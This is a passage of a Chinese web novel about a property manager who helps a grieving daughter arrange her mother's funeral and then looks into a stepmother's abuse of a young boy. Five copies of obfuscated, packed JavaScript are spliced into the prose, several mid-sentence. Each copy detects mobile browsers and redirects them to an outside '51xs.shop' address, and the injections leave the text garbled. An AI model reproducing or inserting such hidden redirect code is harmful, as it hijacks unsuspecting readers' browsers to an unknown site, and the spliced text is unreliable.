我听着林翔的“教导”，不禁哑然失笑，又一想，既然大娘在我管片出事了，我给善善后也无可厚非，算了，不跟廖依依计较。 “好，我来善后。”跟老林没再多寒暄，就结束了通话。 思来想去，我只能将廖依依诱骗回来才能解决后续的事情，要怎么诱骗才能真实呢？ 就从钱上下功夫吧，这年头不爱钱的人可太少了，于是我又给廖依依打了电话。 “喂，廖女士，今天有福利院的人来接收您母亲的房产，说是您母亲生前把房产捐给他们了。我们物业本着稳妥的想法，把这件事通知你一下，如果三天内你没有回来，我们就同意他们接手了。”我一口气说完，等着对面表态。 “怎么着？她把房子捐了？不行！我不同意！”廖依依直接就喊了起来。 “您别急，他们好像拿着您母亲的授权，你本人得回来解决了，我们物业没有阻止的权力。”我继续诱导。 “行，我这两天就飞回去！”廖依依不再纠缠，挂断了电话。 成了，只要人能回来，我就能把大娘的公道给讨回来，太不像话了！ 王敬之看我翘着二郎腿，斜睨着我问：“怎么着？被你给骗回来啦？我就说啥也难不住你小子嘛！” “承蒙师哥抬爱，我得好好琢磨琢磨，一次性给她整明白。”我看着王敬之说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158110|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你啊，我都和你说了，得搞清楚为什么，要不然你就是在这空谈。”王敬之提醒我。 “师哥，到时候你跟着我噢，如果我说的话出格或者不妥，你及时给我拉住。”我朝王敬之眨眨眼。 王敬之摇摇头去睡觉了，我还是睡不着，独居大娘这件事真的打到我的心了，我忘不了门打开后的场面，都是爹生父母养的，咋那么无情呢！ 廖依依回来的时间比我预计的还要早，就是这个人的长相让我有点意外。 电话里听着，那就是一个猛女，一个脾气暴躁、言语犀利的猛女。 可是一见到真人，反差感太强了，整个一个甜心蛋糕啊！ 个子不高，皮肤很白，画着淡妆，说话那个嗲的，“吕经理，你说，他们有什么权利接手我妈的房子？” “业主，这个我们不好评论啊，你母亲生前没跟你说吗？”我想刺 探出她因为什么跟自己妈搞的这么僵。 “她这个人，老糊涂了！”廖依依一边说一边往物业办公室外面走。 “你这是要回家？”我问。 “对啊，我看看谁敢拿走我的房！”廖依依还是气鼓鼓的。 我想了想，说：“你最好别回去。田大娘死在屋里有一个多月才被我们发现，屋里的味道一般人受不了，而且还有蛆虫” 廖依依愣住了，“什么？我妈死了一个多月才被发现？” “对啊，我电话里想告诉你，你着急挂电话，没来得及听。” 她的嘴蠕动着，不知道在自言自语什么，脚步停下了，我看她是不敢看到那样的现场。 “警察也来过电话，说是让家属把死者领回去办理后事，你接到了吗？”我又问。 “哦、哦接到了，不过我没时间，回来一回不容易。”廖依依掩饰着。 没时间？一说房子要没了就有时间了！ 这时候李壮忍不住了，心里话冲口而出：“业主，您这是啥工作啊？一个月都不和自己妈联系，如果你能打个电话，田大娘也不会死的那么惨。她发病的时候，身边如果有个人，也有可能都不会死。” 第四十三章 十几岁出国的孩子 廖依依果然马上就不乐意了，转过身瞪着李壮说：“怎么着？我给不给我妈打电话还要通报你一声呗？你还来质问我，我还要质问你们物业呢，我问问你们，我妈死之前有没有欠缴物业费？” 李壮被这突如其来的问题弄愣了，不知道她要卖什么药，嗫嚅着说：“没有欠。” “没欠对吧，那我妈独居你们不知道？这么大岁数的独居老人住在这里、你们不格外关注？一个大活人30多天没出现，你们也不去看看？”廖依依咄咄逼人。 我听着心里有气，但是也有愧，确实，物业服务做的还不够细致入微。像田大娘这样的情况，我们稍有关注，也不会弄到这样的地步。 如果不是孙俊明报修电梯，恐怕还是不会被发现。 也怪我，最近忙着找刘才东，忽略了自己的本职工作，唉！ “廖女士，你别嚷，我们这位同事也是替您母亲惋惜。那个现场你没看着，你看着了也会受不了的。咱们都是爹生父母养的，很难不被触动。”我打着圆场。 “那怎么说啊，现在已经这样了，你们来谴责我来了？”廖依依理解了找她回来的精髓。 “谴责谈不上，就是希望你能把田大娘的后事处理好。警察已经打了好几次电话了，希望我们物业协助，这件事你需要什么，我们物业会尽力帮你，咱们给田大娘做个善终。” 廖依依看着我一副诚恳的面孔，放下了武装，整个人像抽空了力量一般坐下来。 然后我就看到她哭了，一开始还是默默的流眼泪，后来越哭越凶，整个物业办公室都是她嗷嗷的哭声。 我和王敬之、李壮，三个大老爷们儿手足无措的待在各自的位置上，心里那个难受啊，我知道，当时我们仨都想到了自己妈。 尤其是王敬之，我偷看到他脸上的表情，呆滞、愣神，思绪不知道回到他多大的时候去了。 “业主，别哭了，田大娘也一定是不想拖累你，希望你能生活的更好。”我递给廖依依一张纸巾。 廖依依接过纸巾擦擦脸，然后哽咽的说：“吕经理，我很多年没回来了，对国内这些丧葬办理都不熟悉，你能帮我把我妈的后事处理了吗？” 我卡住了，我很想说我能，但是她是不是又要走，扔下这些给我们物业？ “我会一直在的，你帮我参谋就行。”廖依依看懂了我的迟疑。 我点点头，这件事我必须做，就算是我为自己的疏忽找一些宽慰吧。 说着话，廖依依从包里翻出一张名片递给我，“这个人，等出殡的时候，你打电话让他到场。” 我很诧异，她怎么不自己联系，但还是没有犹豫的接过那张名片。 我看上面写着：xx地产开发公司 董事长 廖文彬。 也姓廖，难不成是？我瞅瞅廖依依，忍住了好奇要问的嘴。 廖依依看着我欲言又止的样子，没有要给我解惑的意思，我陪着她先去了刑警队。 按照全部的程序走完了一遍，又找了丧葬公司的人，把所需要的都配备齐全，我又陪着廖依依去购买骨灰盒。 通过这两天的相处，廖依依明显对我有了信任，也愿意和我多说几句。 她跟我聊她在国外的生活，说自己15岁就被父母送出国了，一直到现在十多年了，都已经不知道国内的生活是什么样了。 我看着她，心里不禁感叹，也是一个不容易的孩子，那样一个懵懂的年纪就要去国外适应风土人情、学习自立、学习与人交往并保护自己。 “你这十多年一直是自己一个人在国外吗？你爸妈都没去陪过你？”我好奇的问。 “他们？一个比一个忙，怎么可能来陪我呢！”廖依依冲口而出。 原来，所有的果都跟着因。 “田大娘之前做什么工作的？”我问。 “她啊，她好像是什么学校的后勤。不知道，我们很少联系。” “你们家只有你一个孩子吗？” “我爸和我妈只有我一个孩子，我爸跟别的女人还有其他孩子。” 我直接就秒懂了，原来廖依依这幅样子完全是原生家庭和后期生活给磨炼的。 “你还真不容易，自己能在国外立足，这些年没少吃苦吧？”我发自内心的肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158111|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定她。 “出去的时候小，没想过这么多，一开始的时候语言不通，身边没有朋友，确实想过买机票回国。我记得头几年我每到晚上就自己哭，想吃家乡菜。后来越来越大了，也接受了这样的命运无法改变，就逐渐适应了。” “田大娘再婚了吗？”我总是想往她们母女关系上唠，我太好奇了。 廖依依看看我，我觉得她看出了我的用意。 “我妈一直没有再婚，但是她离婚的时候没要我，把我扔给了我爸，我出国以后，每次给她打电话，她总是说几句就挂掉她不爱我，也许我就不该出生吧，我爸就知道给我钱，我妈总是躲我远远的。”廖依依的眼圈又红了。 “那不能。没有当妈的不喜欢自己孩子的，都是自己身上掉的肉。”我否定她的怀疑。 “吕经理，你这话信服力不够啊，你也不是女的，你也没结婚，你咋能 知道他们的想法？”廖依依掩饰的擦擦眼角。 “我是没结婚，但是我是个孩子啊，我妈、我姐，她们对自己的孩子什么样我看在眼里的。我从小不爱学习，也没考上大学，但是我妈也没说过不爱我啊！我家虽然穷，但是我爸妈也是把他们最好的都留给了我。” 廖依依动容的看着我，没说话。 出殡那天，廖文彬果然出现了。我给他打电话是他秘书接的，我还以为他不能来。 他穿着一身考究的西服，60岁左右的样子，头发黑黑的，脸上没什么表情，看着很显年轻。 我不禁感叹这当老板的就是不一样，年龄对他们来说确实就是一个数字而已。 廖依依穿着一身黑衣服，很安静的站在那里，面无表情的看着廖文彬。 廖文彬也看到了廖依依，眼睛里闪烁着很热切的目光，表情也动容起来，我猜，应该也是很久没见到自己女儿了吧。 “依依，什么时候回来的？”我听见廖文彬问。 “你不用关心，处理完她的后事我就回去了。”廖依依很冷漠。 “别着急回去，爸爸好多年都没看到你了，我们父女坐下来好好吃顿饭。”廖文彬请求。 第四十四章 迟来的忏悔 “不用了，国内的饭我早就吃不惯了。”廖依依依旧回绝。 “依依，你妈妈走了，那不是我的错！你不要对我这么冷淡。”廖文彬耐不住的说。 廖依依没有表情的看着廖文彬，冷冰冰的说：“我妈在房子里死了一个多月才被发现，如果你没有把我送走、把家拆散，是不是就不会是这样的结局了？” 廖文彬愣了一下，这段细节他不知道，紧跟着是低声的叹息，然后一屁股坐在旁边的椅子上不再说话。 我看着他，此刻再也没有了刚进来时候的意气风发，倒像是一个即将风华不再的老人，在那里感叹岁月。 “依依，你不懂，那个时候你还小。婚姻它不是一个人的事，是要靠两个人共同维系 的。” “你错了，我懂，你送我出去的时候我15岁，你知道我现在多大了吗？我已经结婚了你知道吗？我知道婚姻需要什么来维系！”廖依依没有想要放过廖文彬的意思。 廖文彬惊讶的、有些生气的问廖依依，“你结婚了？什么时候？为什么不告诉我？” “告诉你？你的电话永远是秘书转接，也从来见不着你给我打电话，我怎么告诉你？” 听到这里，我几乎明白了一切，对廖依依的气愤和不理解也都变成了同情，感叹她这些年的不容易。 “你这个孩子，你太不懂事了！结婚这么大的事情你怎么能没得到家长的同意就去做呢？你不但没告诉我、你也没告诉你妈，你要用这些来惩罚我们，对不对？”廖文彬彻底发作了。 “对！如果这些能让你的良心受到谴责，那我会很高兴！”廖依依也失控了。 我赶紧走过来劝：“依依，田大娘的后事还没办完，就不要在这个时候争吵啦。” 廖依依不再说话，但是已经开始哭泣，我站在那里也不知该怎么办好。 “你是物业经理？”廖文彬问我。 我点点头。 “你们为什么等到田红去世了一个多月才发现她？”廖文彬质问我。 “这件事，我们物业表示很遗憾，很对不起田大娘。”我选择致歉。 “道歉就可以了吗？她独居，你们这么长时间没看见她出入，难道不起疑？”廖文彬明显是要把情绪转嫁给我们。 这时候李壮忍不住了，严肃的说：“物业主要负责管理公共秩序、环境卫生、绿化养护、公共设施设备维护，并不涉及对业主个人行为的监管，田大娘的事情，你们作为家属的难道不该反思吗？” 我一听这小子又开始犯浑了，这个时候怎么能跟业主讲道理呢，那岂不是越讲越乱。 “廖先生，他的意思是说物业目前的工作并不涉及业主个人生命安全的直接保护，您千万别误会。他到现场看到了田大娘的死状，小伙子这情绪一直没调整过来，您别和他一样。”我赶紧给圆。 “依依，你就从来不和你妈妈联系吗，你还在这里怪我，你没权利怪我，我们已经离婚了，我有我的生活。”廖文彬开始嗔怪廖依依。 “她跟你一样，从来不给我打电话，我小的时候挨了欺负、想家了，给她打电话，她总是说几句就要挂电话，她把我扔给了你，宁愿自己生活也不要我，我为什么要给她打电话？我是钢铁做的吗？我不会受伤害？不配有感情？不配想家？” 廖依依像机关枪一样的输出，廖文彬的脸红一阵白一阵，搞的我和李壮出去也不是、继续站着也不是。 过了很久，殡葬服务的工作人员把全部的工作都弄完了，我们也准备回去了，廖文彬在这个时候又开口了。 “依依，你等一下，爸爸有话和你说，你先跟我回家。” “家？在你把我送走的时候，我在国内就没有家了。你要说什么我不想听。”廖依依继续往外走。 “你，站住！你可以怪我，但是别怪你妈妈，她一直是很爱你的，她是没有办法！” 廖依依转头看着廖文彬，不相信他会替田红说话。 “她爱我你怎么会知道？” 廖文彬叹了口气，看着远处田红的遗像说：“我和你妈结婚的时候，很穷，你妈愿意陪我过苦日子。我很感动，发誓要赚钱，给她更好的生活。后来你出生了，我一心扑在工作上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158112|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事业越做越大，跟你妈的距离也越拉越远。事业成功以后，我和你妈说不到一起了，我做的很多事，她都要在一旁碍手碍脚，离婚是早晚的事。” 我们几个人都认真的听着，这似乎是很多人都经历的版本，那个陪着吃苦的女人大部分都是不得善终的。 “我们离婚的时候，她说让你跟着我，因为只有我能给你更好的生活，她那个时候下岗了，也没有一技之长，她说你跟着她会吃苦。她并不是不想要你，我知道那些年她有多拮据，我想给她钱，可是她不要，她说离婚了就没有什么关系了，少往来。还告诉我转告你，把打电话的钱省下自己买点好吃的，她等着你回来。” 廖依依早已经哭的泣不成声，我心里很难受，这个真相是我不太想看到的。 廖文彬能说出这些话，证明他确实受到了良心的谴责，知道自己孩子的妈妈因为没人管，导致生命终结，并且在尸体腐败之 后才被发现，他应该也是震惊加自责的吧。 廖依依这个时候才是发自内心的悲伤，坐在椅子上大声哭喊起来“妈、妈”但是除了回音，什么也没有。 田大娘的后事处理完以后，廖依依把那个房间好好的清洁了一番，她和我说要我平时给留意着合适的人，有爱干净的，可以出租。 我看着廖依依不再张扬跋扈的样子，心里也释怀了很多，虽然很多话她没办法再告诉田大娘，但是解开了心结，以后也可以好好的面对跟自己妈妈的感情。 “吕经理，我明天就要回去了，这次的事情没少给你们添麻烦，很感谢你！” 我看着阳光一片的廖依依，很欣慰，这件事虽然一开始很不好，但是这个结局是好的。 “不客气，你以后有时间了可以常回来看看，家乡的水不比外边的甜啊？我这里随时欢迎你回来！” 我努力营造着关爱，但是我知道，在这边她已经没什么牵挂了。 “一定的！以后我带着我的家人、孩子一起回来，让他们看看我成长的地方。”廖依依开朗的笑着。 人生就是这样的吧，虽有残缺，但也充满希望。 第四十五章 后妈 接下来的时间，我抽不出身去继续查刘才东的下落，因为物业要搞一次中秋晚会。 今年的收缴率还没有达标，物业策划了一个业主活动，希望借此提高满意度，带动收缴率的提升。 我给李壮，包括王敬之都分配了任务，让他们去采买、去布置场地、去做通知宣传。 业主群里我也早早的发布了消息，也跟业主委员会的几个人打好了招呼，告诉他们这次晚会有抽奖环节，时间安排在下班后，务必动员各自的邻居来参加，人越多越好。 业委会的几个人早已被我的人格魅力征服，其中就有打架的钱哥家，所以，来参加晚会的人数我倒是不担心。 但是还是要在举办之前把各方都召集起来，大家碰个头，彼此都熟悉一下每个环节，以免到现场的时候出错。 开碰头会那天，钱哥很晚才到，到了以后一直跟几个人致歉，“不好意思啊，各位，我来晚了，抱歉！抱歉！” 我招呼钱哥尽快入座，大家都等了半天，家里各自有事，就等他了。 钱哥看见我，顺嘴说了一句：“老武家那孩子太可怜了，天天被那个后妈打，就刚才又给打了，也不知道因为啥，我家在他们楼下，听那孩子边哭变求放过，听的可清楚了！这老武也是，自己出去打工，孩子也不管了。” “是嘛！光耀又挨打啦？光耀那孩子多懂事啊，还有礼貌，干啥总打他？”其中一个女业主说。 “可不是怎的，我看见过好几回，他那个后妈在小区里狠叨他，那孩子委屈的，憋着眼泪不敢发作。”另一个女业主附和。 我一看，这是要“另唠家常”的意思，赶紧阻止，“各位、各位，我们先把中秋晚会的事碰一下，再研究别的，很快噢。” 于是几个人不再关注武光耀的事情，我们顺利的将中秋晚会的全部流程走了一遍。 散会后，老钱刚要往外走，我叫住了他，“钱哥，武光耀家到底咋回事？他亲妈哪去了？” “他亲妈失踪好多年了，老武去年再娶，就是这个叫周萍的女人。可能花钱了，一天穿的花枝招展的。老武跟她结婚不久就去外地打工赚钱，把光耀留在家里。这女的不但不照顾光耀的起居饮食，还总支使他干活，打骂更是家常便饭。”老钱越说越生气。 “虐待儿童是犯法的呀！她不知道吗？”我问。 “犯法？谁管？不告不理，光耀那么小，能做的了啥？他爸一年才回来那么一回，以为自己给儿子找了个人照顾呢，殊不知是给儿子找了个地主婆。”老钱跺跺脚走了。 武光耀我认识，一个12岁的小男孩，今年小学六年级，据说学习还挺好的。 每次到园区门口，看见我在，都和我打招呼，吕叔叔好、吕叔叔好的，没看出来这么可怜呢，总挨后妈打。 不行，我得去看看咋回事？咋能虐待儿童呢，孩子正长的时候，身心都给摧残坏了。 李壮看我要出去，赶紧过来叫我，“经理，你干啥去？” “出去走走，怎么了？” “你要是去光耀家，我劝你别去。”李壮说。 我更惊奇了，“啥情况到底？为什么不能去？” 李壮也是一直叹气，我一看他就知道点什么。 “哎我说你，跟我干了这么久，咋还总是吭哧瘪肚的，能不能爽朗点？”我生气的说。 “经理，你别生气呀，我是知道点，但是我没看见，都是听说的。”李壮着急。 “没事，你跟我说说，我自己会判断真伪。”我安抚他。 “我一直都知道光耀有个后妈总打他。那个后妈看着挺年轻的，有时候还带男的回家。我在保安亭看见过好几回。只要一来男的，肯定过个几分钟就能看见光耀在园区里溜达。他后妈打他的理由都很奇葩，像什么吃饭呱唧嘴了、没洗脚就睡觉、衣服弄脏了，太多了，都是这些小事，打耳光都是最轻的，经常是抓起啥就拿啥打。”李壮越说越难过。 “这太细节了，你怎么知道这么详细的？”我问。 “院里跳广场舞的大妈总说呀，我自己也能看见一点。光耀上小学六年级，可是我觉得那孩子像个成年人似的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158113|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基本上不笑，总是心事重重的，看他后妈的眼神里全是恐惧。” 我听完这些话以后，怒火中烧，如果我不知道也就罢了，我知道了我就不能不管。 “那你说我为什么不能去？”我又问。 “这是人家的家事啊，虽然是后妈，但也是妈啊，我怕你去了，人家说你多管闲事。”李壮说完最后一句不敢看我。 “爱怎么说就怎么说，我不在乎！虐待儿童，情节严重就是犯法，我要去会会这个后妈，凭什么打人家孩子。” 李壮看我气呼呼的走了，瞅瞅一边的王敬之，王敬之示意他不要管我。 老武家在钱哥家楼上，现在的小区格局，每家每户的私密性很强，不像以前，出了门就是走廊，大家共用，谁家有个声音，满走廊都能听见。 但是如果你动静太大了，楼上楼下还有隔壁的邻居那还是一样能听见的。 钱哥如果总能听见，那说明打的不仅狠，还频，一想到这，我的热血 就冲脑门。 可是我要用什么理由进去看呢？这会儿在外面听着也没什么动静。 正思考的时候，我突然发现门口放的鞋架子靠里的位置有一个玻璃瓶，瓶子很眼熟。 我赶忙走过去，蹲下身拿过瓶子看，上面写着“某某杀虫剂”，瓶子上面好多灰，但是瓶口有盖的位置，明显被人动过，我的心咯噔一下。 小区虽然不是新房，但是也早就没有蟑螂、老鼠这些东西了，弄瓶杀虫剂在这做什么？ 职业的敏感度让我嗅到了不良气息。 正捉摸着，老武家对门的门锁响了，里面有人出来，我一看正好，再打听打听隔壁。 出来的人是个大爷，我努力搜寻着脑海中的业主档案，老武家对门，应该是，陈大爷。 “陈大爷，您这是要出去啊？”我赶忙打招呼。 “哦，是吕经理啊，这，你怎么在这站着，有事？”陈大爷快70岁了，但是很健硕。 “是有点事，我们边走边说吧。”我跟陈大爷一前一后下了楼。 第四十六章 维护爸爸 “陈大爷，你听见过你对门的周萍打光耀吗？”我问。 陈大爷看看我，皱了皱眉，明显不愿意讨论别人家的事，轻轻摇摇头。 “大爷，您和我说说，我肯定不说是您告诉我的！” “吕经理，这也不归你管呀。别人家的家事，咱们说不明白，还是少参和。”陈大爷背个手往广场那边走了。 我站在原地，思考着陈大爷的话，也许吧，是我太热心了，回去吧。 我很低落的回到物业办公室，脑袋里在竞争，陈大爷说的有道理，也是现在很多人的做法，但是为什么我用这个说服不了自己？ 心里总是隐隐作痛，待不住，就是想阻止虐待儿童的事情发生。 王敬之看我呼哧呼哧安静不下来的样子，问：“你咋回事儿？凳子上长针啦？” “师哥，你说要是你，你管不管？”我把事情跟王敬之讲了一遍。 王敬之淡淡的说：“孩子是真可怜，但是用什么理由管？这是人家自己家的事。咱们也不是法官，咱们是物业。” “那如果我们都不管，是不是会发生更严重的后果？比如孩子受伤、性格突变，甚至是”我想到了那瓶杀虫剂。 王敬之不说话了，看着我。 “不行！我必须得管！既然知道了，哪能漠然置之，那不是我的风格。”我想明白了。 “就你这样的情绪你可别去管，肯定让人家给怼回来。你得从物业的角度去想想怎么帮忙制止这事儿。”王敬之提醒我。 “对啊，还是我师哥脑袋转的快！走，咱俩去园区里转转。”我拉着王敬之就出了门。 这会儿正是家家户户做晚饭的时候，一些吃完饭的大爷大娘已经在小广场开始运动了，广场舞的音乐很悠扬的传过来，一片和谐景象。 “向荣，你准备一直当物业经理吗？”王敬之问我。 “这个问题我倒是没仔细的想过，不过现在我是干劲十足啊，能把自己的兴趣和工作结合起来，我每天都很投入。” 我看看王敬之，问他：“师哥，你最近怎么这么低落，不咋爱说话。咋的？跟六日聊的不顺利啊？” “瞎掰，人家还是上大学的孩子呢，我跟她聊什么聊。”王敬之不乐意听。 “你还别不乐听，你敢不敢和我拍胸脯说你没和六日聊？”我又上来了孩子气。 “聊啦、聊啦行了吧！讨不讨厌，总问这个。”王敬之恼了。 我立刻站住，很严肃的看着王敬之，说：“不对，师哥，你一定有情况，到底咋的了，你告诉我！要不然我今晚不让你睡觉。” 王敬之看着我无赖的样子，不准备搭理我，我俩正僵持不下的时候，突然听见矮树丛附近有哭声。 我也不吵吵了，安静下来找着声音传来的方向，谁在哭呢？ 寻源走去，扒开树丛，一个小男孩坐在地上，低着头在啜泣，这是，武光耀？ “光耀？是你吗？”因为天已经擦黑了，树丛里尤其暗，我试探着问道。 哭声停止了，我也走到了近前，确实是武光耀。 “快起来，坐这里凉，你怎么了？告诉叔叔。”我心疼的看着他。 武光耀虽然上小学六年级了，个子却没长起来，瘦瘦小小的，头发也很短，稀稀拉拉，营养不良的样子。 他抬头看我的时候，眼睛肿的跟烂桃一样，脸上还有几块淤青。 “咋回事儿？这脸怎么整的？”我着急的问。 “叔叔，我想找我妈妈，我想我妈妈。”武光耀小小的身体哭的直抖。 王敬之也动容了，“光耀，先跟我们去物业办公室，喝点水，洗洗脸，先别哭了。” 我和王敬之带着武光耀回了物业，给孩子洗干净脸，他愣愣的坐在那里，果然像李壮说的，孩子的眼神跟成年人一样。 “光耀，怎么回事？这么晚了怎么不回家？”我问他。 “周阿姨在家，家里有客人。”武光耀轻轻的说，声音还是孩子的稚气童音。 我心里没来由的一紧，这老武大哥心怎么这么粗呢，一走走一年，孩子不闻不问，总这样下去不完了吗？ 王敬之也气的眉毛快拧到了一起，我想他一定是可以理解我说的没办法不管的原因了。 “光耀，告诉叔叔，你这脸是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158114|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么弄的？”我又问。 武光耀想了想，又开始掉眼泪了，但是这次没有声音，好像脑袋里在想什么伤心事。 “周阿姨不喜欢我，我要给爸爸打电话，她说如果我告诉爸爸，她就离开我爸爸。” “你为什么怕她离开你爸爸？” “因为爸爸每天工作很辛苦，需要有人给做饭、洗衣服、照顾他，如果我把周阿姨气走了，就没有人照顾爸爸了。” “这老武一天都忙什么呢！”我听不得孩子这么说，孩子那质朴又简单的情感，太让我难受了。 宁愿自己受点委屈，也还要维护着爸爸的利益，哎！ “光耀，咱们不需要总为大人着想，想想自己，你现在快乐吗？你需要的是跟爸爸在一起，不是吗？”王敬之忍不住了。 “可是，爸爸已经失去了一次妈妈，不能再失去 周阿姨了。”光耀依旧执着。 “你妈妈怎么失踪的？”我好奇的问。 “我不知道，我就记得那天早上她上班去的时候，告诉我要准备好上一年级用的书包，还说要带我去买个新文具盒，送我去报道。可是她走了就再没回来过。” 说到这，武光耀像被点开了哭闸，又哗哗的哭开了，我和王敬之呆呆的沉浸在这样的伤悲里，沉浸在“妈妈说等她回来给买个新文具盒”的等待里。 这时候，李壮从外面进来，看见武光耀在这哭，匆忙的说：“光耀，你怎么在这啊？你妈妈在找你呢！” 武光耀惊了一下，竟吓得停住了哭，他求救似的看着我，“吕叔叔，我害怕，她会打我的。” 我的怒火被这句话点燃，“她不能，叔叔送你回去，以后如果有事情，谁再敢打你，你就来找叔叔！” 武光耀的眉心舒展开了一点，小手拉着我，一步步的跟我往他家走去。 王敬之怕我冲动，也在后面跟着我。 上楼以后，来到老武家门前，我敲敲门，就听着里面有个飞扬跋扈的声音喊：“你这小崽子，这么晚了，你去哪疯去了？我喊你半天你没听见吗？” 喊声一落，门也开了，我和周萍打了个照面。 第四十七章 杀虫剂 这个女的长发披肩，浓妆艳抹，穿的衣服蛮“清凉”，一点也不避嫌，那双眼睛尤其亮，细细的，嘴巴很大，是我很厌恶的长相。 “哟，吕经理，你给送回来的啊，这孩子，是不是给你添麻烦了？”周萍的脸变得很快。 武光耀看见她，往我身边靠了靠，“光耀，回家吧，叔叔告诉你的话一直生效。” 我松开武光耀的手，示意他进屋。 这时候，周萍看见了我身后的王敬之，突然就呆住了，“这位小哥长得真俊啊，是新来的保安？” 王敬之很不客气的说：“向荣，走吧，站这儿我觉得难受。” 我心里笑着，能让我师哥反感，那可真就没救了，我师哥那是一眼定生死的人。 周萍尴尬的关上了门，我和王敬之依稀还能听见屋里传出来的叫骂声。 我站着听了一会儿，如果有打孩子的声音，我肯定就去敲门。 听了一会儿，没有，我放心了。可是当我下意识的瞅了瞅放杀虫剂的角落，懵了。 杀虫剂的瓶子没了！ 糟了，可千万别出什么事！ 当天晚上我翻来覆去的睡不着，决定天亮给老武大哥打个电话，用个什么理由给他诓回来呢？ 我发动着我全部的小宇宙，想了半宿，一直到迷迷糊糊的睡着了。 第二天一早，灵光真的乍现了，我拨通武大哥的电话。 “武哥，我是吕向荣啊，去年春节的时候我们见过，你还记得吗？”我热情的说。 我听见电话那边很嘈杂的电锯声音，“吕向荣？哦，吕经理啊，记得记得，你说，什么事？” “这么早你就开始干活啦？”我问。 “不干活不行啊，家里哪都需要钱。”老武顶着咣咣的砸东西的声音，大声的说。 “是这样的，我们物业这边有个好事儿，中秋节有个大奖，特等奖是5000元奖金，但是要求全家参与活动，我寻思离家在外的业主也别错过，毕竟不是小钱啊，就给你打个电话告诉你一声，看你是不是要回来。”说完以后，我的肉疼的，5000元啊！ 王敬之都在一边诧异的瞪着我。 “这么多啊！你们物业行啊，今年舍得这么放血。问题是，我回去了也不一定能得到这个奖啊，如果得不到，这边请假一天扣一天钱呢！”老武犹豫。 “我说武哥，参加的业主可并不多，单身的没有参加资格，岁数大的嘛，估计也干不过你们这种青壮年的，赢取的几率还是很大的。我不建议你放弃。”我劝。 想了想我又补充：“听说你儿子光耀体育有特长，还真说不定这5000就是你家的。” 电话那边没有动静了几秒钟，然后传来老武肯定的回答：“行，给我们家报上吧，我回去，正好也跟儿子过个中秋节。” 挂下电话给我高兴坏了，但是忽然想到那瓶杀虫剂，没顾得上洗漱我就先跑出了门。 我要先去武光耀家看看，杀虫剂没了，我可担心坏了。 到了他家楼下，正好看见武光耀背着书包要去上学，“吕叔叔，你咋来这边了？” “光耀，你咋样？心情好点没有？”我仔细打量着孩子，看他有没有受伤。 “嗯，好多了，吕叔叔，我先去上学了，昨天谢谢你！”光耀说完背着书包走了。 奇怪，这孩子确实很沉稳，像个小大人似的，难道是原生家庭给磨炼的？ 我坐电梯来到武光耀家所在楼层，又去检查了一下杀虫剂的位置，还是没有，不知道哪去了。 刚要坐电梯下楼，周萍打扮的花枝招展的也进了电梯，一股刺鼻的香水味传来。 “吕经理，这么早，你来我们单元做啥呀？这两天你咋这么勤快，老看见你。”周萍问我。 “噢，我来检查一下电梯运行，过几天中秋节了，要开晚会，把这些设施设备都做个巡检。” “话说这个物业费交的还是真挺值的，除了卫生很干净以外，小区的绿化、安全、各方面都不错，吕经理还是有两把刷子的。”周萍一本正经的夸我。 